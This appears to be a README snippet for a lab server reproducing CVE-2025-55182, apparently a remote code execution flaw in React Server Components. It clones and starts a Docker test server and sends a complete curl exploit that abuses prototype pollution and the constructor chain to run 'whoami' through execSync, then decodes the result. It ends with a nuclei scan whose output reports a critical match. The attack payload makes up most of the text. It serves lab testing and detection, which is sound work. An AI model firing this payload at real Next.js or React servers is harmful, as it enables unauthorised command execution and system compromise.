git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server
cd CVE-2025-55182-Test-Server

docker compose up --build -d

curl -s -X POST http://localhost:3000/adfa \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" \
  -H "Accept-Language: en-US,en;q=0.5" \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----NextRceMitsecOps" \
  --data-binary $'------NextRceMitsecOps\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'whoami\').toString(\'base64\');throw Object.assign(new Error(\'x\'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------NextRceMitsecOps\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------NextRceMitsecOps\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------NextRceMitsecOps--\r\n' | grep -o '"digest"[[:space:]]*:[[:space:]]*"[^"]*"' | sed 's/.*"digest":[[:space:]]*"//' | sed 's/"$//' | base64 -d && echo

nuclei -u http://localhost:3000 -t react-rsc-rce.yaml

[INF] Current nuclei version: v3.6.0 (latest)
[INF] Current nuclei-templates version: v10.3.5 (latest)
[INF] New templates added in latest release: 57
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://localhost:3000/
[INF] Scan completed in 42.390709ms. 1 matches found.